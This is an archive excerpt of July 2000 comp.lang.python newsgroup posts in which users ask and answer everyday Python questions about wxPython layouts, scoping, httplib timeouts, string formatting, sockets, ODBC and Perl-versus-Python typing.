> On Thu, 27 Jul 2000, Richard P. Muller wrote:
> 
>> Does anyone know whether there are plans to make NumPy part of the
>> standard Python distribution?
> 
> I'm currently working on PEP 206, "Sumo interpreter", which is a souce
> distribution with many useful modules. For more information, see
> http://python.sourceforge.net/peps/

Not totally related, but maybe it should be handy to have some kind of
?ber-library, which is regulated by a ?ber-senate.

The ?ber-library should contain:
1. usefull extensions, which can't be distributed with the core
   distribution because of:
   a. size
   b. generality: is it usefull for every-one, or only for a few.
   c. copyright: f.i. GPL'ed software components.
   Examples: PIL, PAL, NumPy, ...
2. HoeDoe's (Dutch for "How Do (I do that?)"):
   small modules, with one pratictal purpose/goal:
   Examples:
   - a mail-sending module, which does all mime-stuff automagically,
     and finds a suitable smtp-server by itself.
   - a play-module: play a WAVE on all supported platforms.

The ?ber-senate would:
1. garanty the quality of the submissions.
2. organise the ?ber-library.
3. keep style consistent, and keep an eye on portability.
4. tries to hint which areas needs work.
5. keep the hands of python-dev free, so they can cope with
   core language / standard python library issues.

Thus, the Vaults of Parnassus with quality control.

Greetings,
-- 
ben . de . rydt at pandora . be ------------------ your comments
http://users.pandora.be/bdr/ ------- inl. IPv6, Linux en Pandora



From aahz at netcom.com  Mon Jul  3 10:23:31 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 3 Jul 2000 14:23:31 GMT
Subject: Is there a searchable archive of c.l.py
References: <Gj185.6536$Tb7.39716@news-server.bigpond.net.au>
Message-ID: <8jq7l3$f1e$1@slb0.atl.mindspring.net>

In article <Gj185.6536$Tb7.39716 at news-server.bigpond.net.au>,
Neil Hodgson <neilh at scintilla.org> wrote:
>
>   Is there a sensibly searchable archive anywhere? In the future we will
>need this resource. Otherwise how will we know how we beat those nanoviruses
>back in '97?

Well, we've got the archive: http://www.python.org/pipermail/python-list/

Unfortunately, it only seems to go back to March '99.  Does anyone
maintain an older archive?  Once we have the archive, making it
searchable is a relatively trivial task.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

The best way to get information on Usenet is not to ask a question,
but to post the wrong information.  --Aahz


From richard_chamberlain at ntlworld.com  Mon Jul  3 14:52:52 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Mon, 3 Jul 2000 19:52:52 +0100
Subject: WinNT User Name
References: <Ae485.94210$5k2.194235@dfw-read.news.verio.net>
Message-ID: <bh585.6120$4C4.108475@news2-win.server.ntlworld.com>

Hi Michael,

You'll need the win32 extensions - http://starship.python.net/crew/mhammond/

import win32api
login=win32api.GetUserName()

Richard


import win32api
michael montagne <montagne at boora.com> wrote in message
news:Ae485.94210$5k2.194235 at dfw-read.news.verio.net...
> First off, I'm a newbie at Python.
> I'm trying to return the user who is logged on at a PC.  What I really
need
> is the login name.  How do I do that?  Seems like it otta be quite simple
> but I'm having trouble.
>
> -mjm
>
>




From mtebeka at intel.com  Wed Jul 19 11:15:36 2000
From: mtebeka at intel.com (Miki Tebeka)
Date: Wed, 19 Jul 2000 18:15:36 +0300
Subject: CORBA refrence
Message-ID: <Pine.WNT.4.21.0007191814580.434-100000@ilsnt0396.iil.intel.com>

Hello All,

Any pointers on using Python with CORBA?

Thanks.
------------------------------------------------------------------------------
Smile, damn it, smile.

(lambda (msg)
  (case msg
	((name)		"Miki Tebeka")
	((email)	"tebeka at lycosmail.com")
	((homepage)	"http://www.tebeka.freeservers.com")
	((quote)	"I don't suffer from insanity, I enjoy every minute of it.")))



From grey at despair.rpglink.com  Fri Jul 28 19:05:24 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 23:05:24 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net>
Message-ID: <slrn8o449h.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 22:38:32 GMT, William Tanksley
<wtanksle at dolphin.openprojects.net> wrote:
>That's a really cruel statement for you to make.  I hope you were making
>it in jest.  I've seen nothing to indicate anything waranting this kind of
>attack.

    Neither cruel or jest.  I consider "Automagic" coversion on the same vein
as "Winblows".  I have hoped that there were people who were above that, there
are some, but it is here as in everywhere else.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From jack at tornado.sh.cvut.cz  Fri Jul 14 19:27:10 2000
From: jack at tornado.sh.cvut.cz (Jan Fedak)
Date: 14 Jul 2000 23:27:10 GMT
Subject: wxNotebook in a wxWindow doesn't stretch
Message-ID: <slrn8mv8ef.1sd.jack@tornado.sh.cvut.cz>

hi.


I am lost. After few hours of trying to solve it, I give up...

I have following piece of code (modified, shortened...):

class MainWindow(wxFrame):

    def __init__(self, parent, id, title):
        wxFrame.__init__(self, parent, id, title, size = (800, 600),
                         style=wxDEFAULT_FRAME_STYLE|
			 wxNO_FULL_REPAINT_ON_RESIZE)

        self.CreateStatusBar(1, wxST_SIZEGRIP)

	# is ksSPLIT is set, we split main window horizontally into two
	# subwindows
	if ksSPLIT:
	    self.splitter = wxSplitterWindow(self, -1, style=wxNO_3D|wxSP_3D)
	    self.leftWin = self.splitter
	    self.desktopFrame = wxWindow(self.splitter, -1)
	    self.desktopFrame.SetBackgroundColour(wxNamedColour("Pink"))
	else:
	    self.splitter = None
	    self.leftWin = None
	    self.desktopFrame = self

	# the following code won't reside in constructor later!
	# I need the desktopWin placed IN desktopFrame so that it occupies the
	# whole area of it
	# desktopWin may look differently depending on the application,
	# when no desktopWin is set up, desktopFrame should be visible
	
	self.desktopWin = wxNotebook(self.desktopFrame, -1)
	txt = wxTextCtrl(self.desktopWin, -1,
			 style = wxTE_MULTILINE|wxTE_READONLY|wxHSCROLL)
	self.desktopWin.AddPage(txt, "Overview")

	sizer = wxBoxSizer(wxHORIZONTAL)
	sizer.Add(self.desktopWin, 1, wxEXPAND | wxALIGN_CENTER, 5)
	self.desktopFrame.SetAutoLayout(true);
	self.desktopFrame.SetSizer(sizer);
	#sizer.Fit(self.desktopFrame)

        self.Show(true)

	if ksSPLIT:
	    self.splitter.SplitVertically(self.leftWin, self.desktopFrame)
	    self.splitter.SetSashPosition(180, true)
	    self.splitter.SetMinimumPaneSize(20)


	# a jeste pocatecni formular a jeho pracovni podminky
	self.aktivniFormular = None
	self.desktopWin  = None


now, when I set ksSPLIT = 0, everything works just fine. the desktopWin
occupies the whole area of desktopFrame (== self). but as soon as I change
ksSPLIT = 1, desktopWin takes only a very small area of desktopFrame (about
10x10 pixels) and it won't scale with the desktopFrame.

thanks for your help.
Jan

-- 
  Jan Fedak                            talk:jack at tornado.sh.cvut.cz
  mailto:J.Fedak at sh.cvut.cz                    mailto:jack at mobil.cz
                Linux - the ultimate NT Service Pack.  


From frr at mindless.com  Fri Jul 21 06:56:40 2000
From: frr at mindless.com (Fernando Rodríguez)
Date: Fri, 21 Jul 2000 10:56:40 GMT
Subject: Name valid outside function, but error name inside function
Message-ID: <I%Vd5.135$kp4.1588@m2newsread.uni2.es>

Hi!

I have a rather weird problem:  I have a module (module1) that defines a
variable called A. I have another module (module2) that imports module1:
from module1 import *

In module2, A is a valid variable, but I run into trouble if I try to use
it inside a function in module2.

This works fine:
def func1():
    print A

This raises a name error:
def func2():
    A = A + 'hi'    # this line causes the error
    print A

What's going on???? O:-)

TIA
--


---------------------------------------
Fernando Rodr?guez




From alex at magenta.com  Fri Jul 28 09:46:38 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 15:46:38 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com>
Message-ID: <8ls33t019ln@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o24mr.e7.grey at teleute.rpglink.com...
    [snip]
> >Firstly, it's unnecessary.  If I have a single value in X, and I want to
> >make it a single-element list, there's a way to do that:
>
>     Really?
>
> >>>> some_variable = [X]
>
>     Seems counter intuative, doesn't it,

Doesn't seem counter-intuitive at all to me.  [x] makes a
single-element list, whatever x refers to is that single element.

> list() could take that single value
> and make it a single item in a list.  I mean, c'mon, why have list when
you
> could just construct a for loop to use an append method?

list is more compact and more efficient than an append loop. list(x) is
just as compact and effective as [x], but they do different things.


> >Secondly, it's counterintuitive.  You say "all of those can be converted
> >into lists"; I look at 1 and think, "what is the list equivalent of an
> >integer?"
>
>     That is because you're thinking in terms of types and not just data.
It
> is a single element, nothing more.

Consider 123 and "123".  How many elements is/are each of them?

Remember, you have repeatedly stated your desire for them to be
treated the same way -- you DO remember that, right?  Drawing any
distinction between them needs that type concept which you so
deplore, you want to have "just data".  So?

list("123") return ["1", "2", "3"].  A string IS a sequence (whose single
elements are 1-character-strings), so list() happily does its thing.  If
I want a list with a single element in it, i use ["123"], of course, *NOT*
list("123")!

What do you think list(123) should return?  Or list(-1)?  Are these
single elements, or are they equivalent to "123" (three elements)
and "-1" (two elements) respectively?  What about list(+1)...?-)

And why ever should, as you've asked for elsewhere, list(None)
return an empty list rather than the list with the single element
None?  I can't see any rhyme or reason to the sum total of your
expressed desiderata.


>     Ah, but getting back to that point I said to remember.
>
> foo = "a"
> foo = list(foo)
>
>     foo is not ['a'].  It took a single element and made it a list.  So we
now

No, it took a one-element sequence (a string) and made it a one-element
list.  That IS exactly list()'s job.  A string IS a sequence.  ANY string IS
a
sequence.  Just like any list is a sequence, any tuple is a sequence, any
object is a sequence if it defines __getitem__ (and possibly __length__).

> know that a single element has a sequence.  Here is another sequence of a
> single element.
>
> foo = 1
> foo = list(foo)
>
>     Error.  Single element sequence.  Remember, any sequence can either be
a
> single value or a sequence.  Yet here we have a single value denied.
Quirks
> abound.

I can see no quirk whatsoever in this behaviour.  Maybe what is confusing
you is exactly the simplification which both you and I approved recently: a
string is a sequence *whose elements are themselves strings* (strings of
one element each).  This is a mathematical anomaly -- Frege and others
tried to found mathematics on such a basis (sets whose elements are sets,
etc) and it just crumbled all around them.  But, fortunately, we can afford
to
be pragmatical here, relying on the homomorphisms between the set of
characters and the set of one-character strings -- they ARE finite sets,
after
all, so no real paradox can be hidden therein:-) -- as long as we DO know
it's just a pragmatical "mental short-hand" to avoid the need for yet
another
separate type, that of characters, for which there is really no practical
call.
But don't let that confuse into claiming that 'a' is "a single element" --
it's
really a 1-element sequence, just as ['a'], ('a'), etc.


Alex





From nali at biostat.washington.edu  Sun Jul 30 15:37:23 2000
From: nali at biostat.washington.edu (Na Li)
Date: Sun, 30 Jul 2000 12:37:23 -0700
Subject: Fixed format input
Message-ID: <Pine.GSO.4.21.0007301234570.22110-100000@atlas.biostat.washington.edu>

Hi, I am new to python but has been programming with Perl for a while. Is
there a way to read fixed field length format input files in python? Like
what can be done with Perl unpack() function?

Thanks.

Michael



From aahz at netcom.com  Mon Jul 31 16:15:48 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 31 Jul 2000 20:15:48 GMT
Subject: httplib hung on read
References: <8m4m48+g8f4@eGroups.com>
Message-ID: <8m4mpk$i49$1@slb0.atl.mindspring.net>

In article <8m4m48+g8f4 at eGroups.com>,  <ftian at cs.wisc.edu> wrote:
>
>I am using the httplib to get some webpage, it hungs sometimes
>in the following senario,
>
>http = httplib.HTTP('myhost')
>http.putrequest('GET', myurl)
>http.putheader(...)
>http.endheaders()
>
>errcode, errmsg, header = http.getreply()
>myfile = http.getfile()
># "Still OK here"
>page = myfile.read()
># Sometimes Cannot Reach here

<sigh>  Yeah, that's because you've got some kind of unrecoverable
network error, and the default httplib doesn't handle.  Fortunately,
because you're using httplib directly (instead of urllib), you can
modify HTTP.sock to have a timeout (assuming you're on a platform that
supports it).

The code looks more-or-less like:

HTTP.sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVTIMEO, timeout_ms)
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From steffen.ries at sympatico.ca  Tue Jul 25 07:48:21 2000
From: steffen.ries at sympatico.ca (Steffen Ries)
Date: Tue, 25 Jul 2000 11:48:21 GMT
Subject: newb Q
References: <397A9BCE.49E4AA62@mediaone.net>
Message-ID: <m3n1j6xwfu.fsf@gondolin.beleriand>

Toy <gee308 at mediaone.net> writes:

> How do you make a section of code repeat X times?
> say I want someone to quess something, but they put it in wrong(i.e.
> nums instead of letters) then after X tries, the prog quits out?
>

repeat=X
while repeat>0:
    repeat = repeat-1 

    # ask your question
    if answer_is_ok:
        break
else:
    raise "Did not get an answer"

instead/additional to the else-clause you can check the value of
"repeat" after the loop:

if repeat <= 0:
    # no valid answer given...

hth,
/steffen
-- 
steffen.ries at sympatico.ca	<> Gravity is a myth -- the Earth sucks!


From grey at despair.rpglink.com  Fri Jul 28 13:05:42 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 17:05:42 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <3h8zumi4i2.fsf@angband.org>
Message-ID: <slrn8o3f73.49c.grey@teleute.rpglink.com>

On 28 Jul 2000 12:49:57 -0400, Eric Lorenzo <zo at angband.org> wrote:
>But communication with the *computer* isn't actually the primary
>purpose of typing.  Rather, typing is a means for programmers to

    Funny, I thought that was what comments were for.  

match = re.match(r'(\d+)')
foo = int(match.group(1))

vs.

m/(\d+)/;
foo = $1; # should be a number

    Given the choice, I'd rather have comments, not cues in the code.  :)

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From dalke at acm.org  Mon Jul 24 21:00:45 2000
From: dalke at acm.org (Andrew Dalke)
Date: Mon, 24 Jul 2000 19:00:45 -0600
Subject: Variables in strings..
References: <8lh75e+tjtl@eGroups.com> <119330503709.20000724135021@buz.ch>
Message-ID: <8liokm$je0$1@slb6.atl.mindspring.net>

Gabriel Ambuehl wrote
>Perhaps. But in real world (tm) CGI scripts, one needs more than just
>one variable in there. I've got Perl scripts who insert aroun 40
>variables (including array slices) during one print <<"EOF"
>instruction. I could live with the "%(myvar)" % vars() syntax if there
>would be a possibility to reference to lists and dictionary entries as
>well. Without it, it's a real pain to quickly write CGI scripts.
>Hell,
>content='<tr> <td> <a href="http://'+ pair[0] + '">' + pair[0]+ '</a> </td>
<td>' + pair[1] + '</td><td><a href="' + PathToScript
>etc is nothing I can consider readably. (though pair1=pair[1]
>and pair2=pair[2] would do the job but that's not really what I'd
>consider elegant...)

You could write a wrapper, like:

class LookupConverter:
  def __init__(self, dict):
    self.dict = dict
  def __getitem__(self, name):
    return eval(name, {"__builtins__": {}}, self.dict)

>>> a = LookupConverter({"name": "Andrew", "pair": [1, 4]})
>>> "I am 4(name)s.  The pairs are %(pair[0])d and %(pair[1])d" % a
'I am Andrew.  The pairs are 1 and 4'
>>>

You can even be really evil and do things like get the calling context
and lookup up the local and global variables, so you don't have to pass
in names.  But that wouldn't be very clean code - too magic for my
tastes.  Instead, try

>>> import math
>>> name = "Andrew"
>>> vals = [6, 4, 2]
>>> a = LookupConverter(locals())
>>> "name is %(name)s, vals[1] is %(vals[1])s, and pi == %(math.pi)f" % a
'name is Andrew, vals[1] is 4, and pi == 3.141593'

                    Andrew
                    dalke at acm.org

                    Andrew





From MichaelDyck at home.com  Sat Jul 29 15:49:47 2000
From: MichaelDyck at home.com (Michael Dyck)
Date: Sat, 29 Jul 2000 19:49:47 GMT
Subject: Python 3000 ?
References: <8lttuq$9c8$1@serv1.albacom.net> <8luraf$e2p$1@slb1.atl.mindspring.net>
Message-ID: <vzGg5.81269$8u4.849544@news1.rdc1.bc.home.com>

Aahz Maruch wrote:
> 
> There are certain design decisions that were made for Python 1.x that
> Guido would like to revisit.

Which ones?

-Michael Dyck


From wtanksle at dolphin.openprojects.net  Tue Jul 25 20:56:16 2000
From: wtanksle at dolphin.openprojects.net (William Tanksley)
Date: Wed, 26 Jul 2000 00:56:16 GMT
Subject: print format
References: <397E3530.E821018C@bioeng.ucsd.edu>
Message-ID: <slrn8nsdpi.2pk.wtanksle@dolphin.openprojects.net>

On Tue, 25 Jul 2000 17:47:44 -0700, Curtis Jensen wrote:
>I don't know if this is possible in python but, Is there a way to repeat
>a format command a spceified number of times?  For example, in Fortran
>there is the format code "20I5"  Which is the same as "I5" twenty
>times.  I want something like:
>print '20(%i5) ' % [list of 20 intgers]

Perhaps

 print (20*"%5i ") % [list of 20 integers]

will work for you.  The multiplier on the string repeats it 20 times.
This lets you do things like:

 list = [list of 'n' integers]
 print (len(list)*"%5i ") % list

>Also, how do I print without a new line other than using
>sys.stdout.write?

Why?  Is there something in specific you're trying to avoid?  (Yes, it's
possible, but it's not pretty.)

>Curtis Jensen

-- 
-William "Billy" Tanksley


From grey at despair.rpglink.com  Fri Jul 28 18:01:20 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 22:01:20 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <aeb2osgndgqvhrrm6f3pmfevns171i0r5a@4ax.com> <slrn8o2f77.1e2.grey@teleute.rpglink.com> <f5m3osobae9i4cvna8k89ra8u3vi1me5k9@4ax.com>
Message-ID: <slrn8o40hd.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 18:56:09 GMT, Ben Wolfson <rumjuggler at cryptarchy.org> wrote:
>>>Any _sequence_ can be a single element or sequence.
>>>Any _single element_ can't be a single element or sequence.
>>
>>    Let's pause and reflect on a single element not being able to be a single
>>element.

>You are, I think, deliberately misinterpreting me.

>Any single element can't be "a single element or a sequence".  It can only
>be a single element.

    Nope, just grokking what is said.  If it was a typo, please say so.  From
what I see above in the 2nd line is the statement that any single element
can not be a single element.  Say single element is a and we get a != a.


-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From kulbrich at yahoo.com  Fri Jul 28 19:51:38 2000
From: kulbrich at yahoo.com (Karl Ulbrich)
Date: Fri, 28 Jul 2000 19:51:38 -0400
Subject: Perl is worse!
In-Reply-To: <slrn8o449h.49c.grey@teleute.rpglink.com>; from grey@despair.rpglink.com on Fri, Jul 28, 2000 at 11:05:24PM +0000
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com>
Message-ID: <20000728195138.B32288@exeter.exeter.org>

Quoting Steve Lamb (grey at despair.rpglink.com):
> On Fri, 28 Jul 2000 22:38:32 GMT, William Tanksley
> <wtanksle at dolphin.openprojects.net> wrote:
> >That's a really cruel statement for you to make.  I hope you were making
> >it in jest.  I've seen nothing to indicate anything waranting this kind of
> >attack.
> 
>     Neither cruel or jest.  I consider "Automagic" coversion on the same vein
> as "Winblows".  I have hoped that there were people who were above that, there
> are some, but it is here as in everywhere else.

Umm, last I checked, Winblows was a negative slur on Windows. 

Automagic is usually slang for "behind the scenes, (try to) pick the right thing
for the context."   Applies to hardware and software gadgetry.  

Only negative if the context describes something negative.  Ambiguous
expected results for type conversions qualifies.


	- shamelessly-using-the-adjective-automagic'ly yours, Karl





From rbill at digisprings.com  Thu Jul 27 14:36:44 2000
From: rbill at digisprings.com (Robert W. Bill)
Date: Thu, 27 Jul 2000 12:36:44 -0600
Subject: Socket question: arbitrary port
In-Reply-To: <39805D19.C005F16F@hotmail.com>
References: <39805D19.C005F16F@hotmail.com>
Message-ID: <Pine.LNX.4.10.10007271034460.31368-100000@localhost.localdomain>

On Thu, 27 Jul 2000, Jean Bergeron wrote:

> Is it possible to connect a socket through an arbitrary port?
> In other words, can Python find an available port without having the
> programmer (or user) specify a particular port number?
> 
> Any help would be appreaciated!
> Thanks!
> 

My understanding is (assuming you're talking AF_INET) is that
it requires a port for the bind call for a server socket and a destination
port to connect to for a client socket. So you would have to
identinfy the port for those calls. 
i.e.-
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#you need a connect or bind to do something with it
s.bind('127.0.0.1', 80) #second num is port
s.connect('www.python.org', 80) #same here- need destination port num

the lazy persons's method to pick the first available port (warning: bad
idea/example):

portNum = 1
while 1:
    try: 
	s.bind('127.0.0.1', portNum)
	break
    except socket.error, why:
	# could analyze why here 
	portNum = portNum + 1

--replace the above s.bind with s.connect('someplace', portNum), and you
have a great way to stir trouble :)

Without details I might have missed the point, but the generalized answer 
is you provide a port for connect/bind in your program by some means
rather than python picking it.

-robert



From jhylton at my-deja.com  Mon Jul  3 17:38:28 2000
From: jhylton at my-deja.com (jhylton at my-deja.com)
Date: Mon, 03 Jul 2000 21:38:28 GMT
Subject: Definative Documentation on Objects
References: <8jqui2$9na$1@supernews.com>
Message-ID: <8jr14j$69v$1@nnrp1.deja.com>

In article <8jqui2$9na$1 at supernews.com>,
  "Dale Strickland-Clark" <dale at out-think.NOSPAMco.uk> wrote:
> Where do I look for the definitive statement on object programming in
> Python?
>
> I'm considering "Programming Python" by Mark Lutz but that's four
> years old. "Learning Python" is more recent but I'm worried that it\
> might be pitched a bit low.

Learning Python has an excellent chapter on classes and object-oriented
programming.  I think it is your best bet.

--Jeremy Hylton <http://www.pyton.org/~jeremy/>


Sent via Deja.com http://www.deja.com/
Before you buy.


From akuchlin at mems-exchange.org  Thu Jul  6 17:28:57 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 06 Jul 2000 17:28:57 -0400
Subject: readline.c & more
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <3dituj9cdi.fsf@kronos.cnri.reston.va.us>

Johannes Zellner <johannes at zellner.org> writes:
>  *) I modified Modules/readline.c so that it allows reading and
>     writing of a history file. I also plan to implement readline

Skip Montanaro (skip at mojam.com) is adding this right now; you should
talk to him to avoid duplicating effort.

>  *) Is there a forum for developers? This list seems more for
>     users isn't it ?

It is now, because most of the core developers lack the time to keep
up with python-list.  Still, starting more core discussions may lure
some of them back.

--amk


From claird at starbase.neosoft.com  Mon Jul 31 07:32:04 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 31 Jul 2000 06:32:04 -0500
Subject: How does Python compare to ?
References: <Pine.GSO.4.10.10007311048410.10092-100000@sundial>
Message-ID: <3FF3ED6EC164DBD2.77C81740D77CD9FA.D247DC7D74D3B365@lp.airnews.net>

In article <Pine.GSO.4.10.10007311048410.10092-100000 at sundial>,
Moshe Zadka  <moshez at math.huji.ac.il> wrote:
			.
			.
			.
>Of course -- heck, even I use CGI for most of my web solutions. The thing
>is, I'm not (currently) a web developer -- so when I have a problem to
>solve, the most important thing for me is how long it takes to set up
>the solution. For that, CGI rocks. However, as soon as you care about
>either performance or about program scalability (IOW, once it's beyond
>a form-to-send-mail and its ilk) (and if you don't, then the only
>difference between Java servlets, PHP-plugin and Python CGI is the
>syntax), the CGI is the most horrible solution available. 
>
>CGI requires always a process startup and usually interpreter (be it 
>Tcl, Guile, Perl or Python) startup. That makes it unacceptable if there
>are more then 2 hits/second.
			.
			.
			.
I'm stuck.  It's going to be hard replying without
invocation of the canard about democracy being "the
most horrible solution available"--except for all
the rest.

Moshe and I are in agreement on all points, except
that I have customers receiving 20 hits per second
which they're contentedly satisfying with CGI-based
service.  Years ago, I thought it was ugly.  Now, I
just think I have bigger problems, and let CGI toil
on.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From fig at oreilly.com  Mon Jul 17 18:04:05 2000
From: fig at oreilly.com (Stephen R. Figgins)
Date: Mon, 17 Jul 2000 22:04:05 GMT
Subject: Internet Programming in Python
References: <397221B2.173C3947@u.washington.edu> <39736DEB.D2285ADD@gs.verio.net>
Message-ID: <3973831C.23A9CE52@oreilly.com>


Tony Johnson wrote:
> 
> http://www.ora.com shuld carry this one...

No, we didn't publish that one.  I forget who did. 

Stephen R. Figgins
O'Reilly Network


From thomas at xs4all.net  Tue Jul 18 17:19:33 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 18 Jul 2000 23:19:33 +0200
Subject: Line numbers outside exceptions
In-Reply-To: <8l24e1$d2g$1@netserv.univ-lille1.fr>; from dcalvelo@pharion.univ-lille2.fr on Tue, Jul 18, 2000 at 05:33:53PM +0000
References: <396F524B.33D636A2@home.com> <8l24e1$d2g$1@netserv.univ-lille1.fr>
Message-ID: <20000718231933.E4283@xs4all.nl>

On Tue, Jul 18, 2000 at 05:33:53PM +0000, Calvelo Daniel wrote:

> >>> def spam(n="eggs"):
> ...   print n
> ...   return n
> ... 
> >>> spam.func_code.co_code 
> '\177\001\000\177\002\000|\000\000GH\177\003\000|\000\000Sd\000\000S'

> In that last string, the two bytes (this may be platform-specific) after
> a '\177' are line numbers. See 'dis'.

It's not really platform dependant. The opcode arguments (which is what you
are talking about) are always stored as two characters, regardless of, for
instance, the size of 'int' or 'long', but it *is* dependant on the size of
a 'char'. However, a ton more things are likely to break if the size of a
char isn't 8 bytes, so it's highly unlikely that you'll encounter a Python
where the above does not hold ;)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From matthias.huening at univie.ac.at  Mon Jul  3 10:20:47 2000
From: matthias.huening at univie.ac.at (Matthias Huening)
Date: Mon, 3 Jul 2000 16:20:47 +0200
Subject: Again: ODBC / Win98 -> crash
Message-ID: <8jq7i6$395g$1@www.univie.ac.at>

Some days ago I posted a problem with ODBC on my Win98-machine. I thought
that it could be the win32-ODBC module that caused the crash I reported, so
I switched to Marc-Andre Lemburg's mxODBC module. To keep it simple I give
a minimal example (where dsn is a valid dsn):

>>> import ODBC.Windows
>>> db = ODBC.Windows.Connect(dsn)
>>> db.close()

Up to here, everything is fine. No problems so far.
But when I do it again:

>>> db = ODBC.Windows.Connect(dsn)

I get an immediate crash of Python.

My (German) version of Win98 tells me:

   PYTHONW verursachte einen Fehler durch eine ung?ltige Seite
   in Modul ODBCJT32.DLL bei 015f:04c0ac36.

It seems like something isn't closed properly when I do db.close().
Any suggestions?

Matthias





From sholden at bellatlantic.net  Wed Jul  5 09:08:02 2000
From: sholden at bellatlantic.net (Steve Holden)
Date: Wed, 05 Jul 2000 13:08:02 GMT
Subject: Definative Documentation on Objects
References: <8jqui2$9na$1@supernews.com>
Message-ID: <3963331E.D1F756BE@bellatlantic.net>

I found "Learning Python" to be quite good enough to allow me to transfer
the object-oriented stuff I knew to implementations in Python.  It's
good value for money, and although I personally found the pizza-robot
examples a little unnatural, there is evidence they work for others.

regards
 Steve

Dale Strickland-Clark wrote:
> 
> Where do I look for the definitive statement on object programming in
> Python?
> 
> The "Python Reference Manual", as included in the distribution, is
> particularly hard work.
> 
> I'm considering "Programming Python" by Mark Lutz but that's four years old.
> "Learning Python" is more recent but I'm worried that it might be pitched a
> bit low.
> 
> I'm an experienced programmer but I need to quickly understand Python object
> programming.
> 
> Any pointers to online or paper reference material gratefully received.
> 
> --
> Dale Strickland-Clark
> Out-Think Ltd, UK
> Business Technology Consultants

-- 
Helping people meet their information needs with training and technology.
703 967 0887   sholden at bellatlantic.net   http://home.cox.rr.com/sholden/


From darrell at dorb.com  Mon Jul 10 22:46:03 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Mon, 10 Jul 2000 19:46:03 -0700
Subject: Application testing
References: <8kdafd$2nj$1@bob.news.rcn.net>
Message-ID: <021a01bfeae2$2aebfb00$6401a8c0@home>

This works nice.
http://www.cyberclip.com/webdebug/download.html


--Darrell Gallion


----- Original Message -----
From: "Mark Haselup" <mhaselup at clicktomarket.com>

> I would like to be able to capture the traffic and edit it to allow
modified
> replays of sessions. Can anbody help with this? Should I be looking at
other
> news groups for these features?
>





From thantos at chancel.org  Sun Jul  9 02:44:15 2000
From: thantos at chancel.org (Alexander Williams)
Date: Sun, 09 Jul 2000 06:44:15 GMT
Subject: Parsing lists
References: <UQU95.68799$HK2.1203440@news20.bellglobal.com>
Message-ID: <slrn8mg7pv.29h.thantos@brimstone.mecha>

On Sun, 09 Jul 2000 06:20:36 GMT, Seamus Venasse <python at polaris.ca> wrote:
>I am creating a simple list of titles and urls.  I would like to parse this
>list, but I keep receiving an error.  Here is a simplified version of my
>code and error received:
>
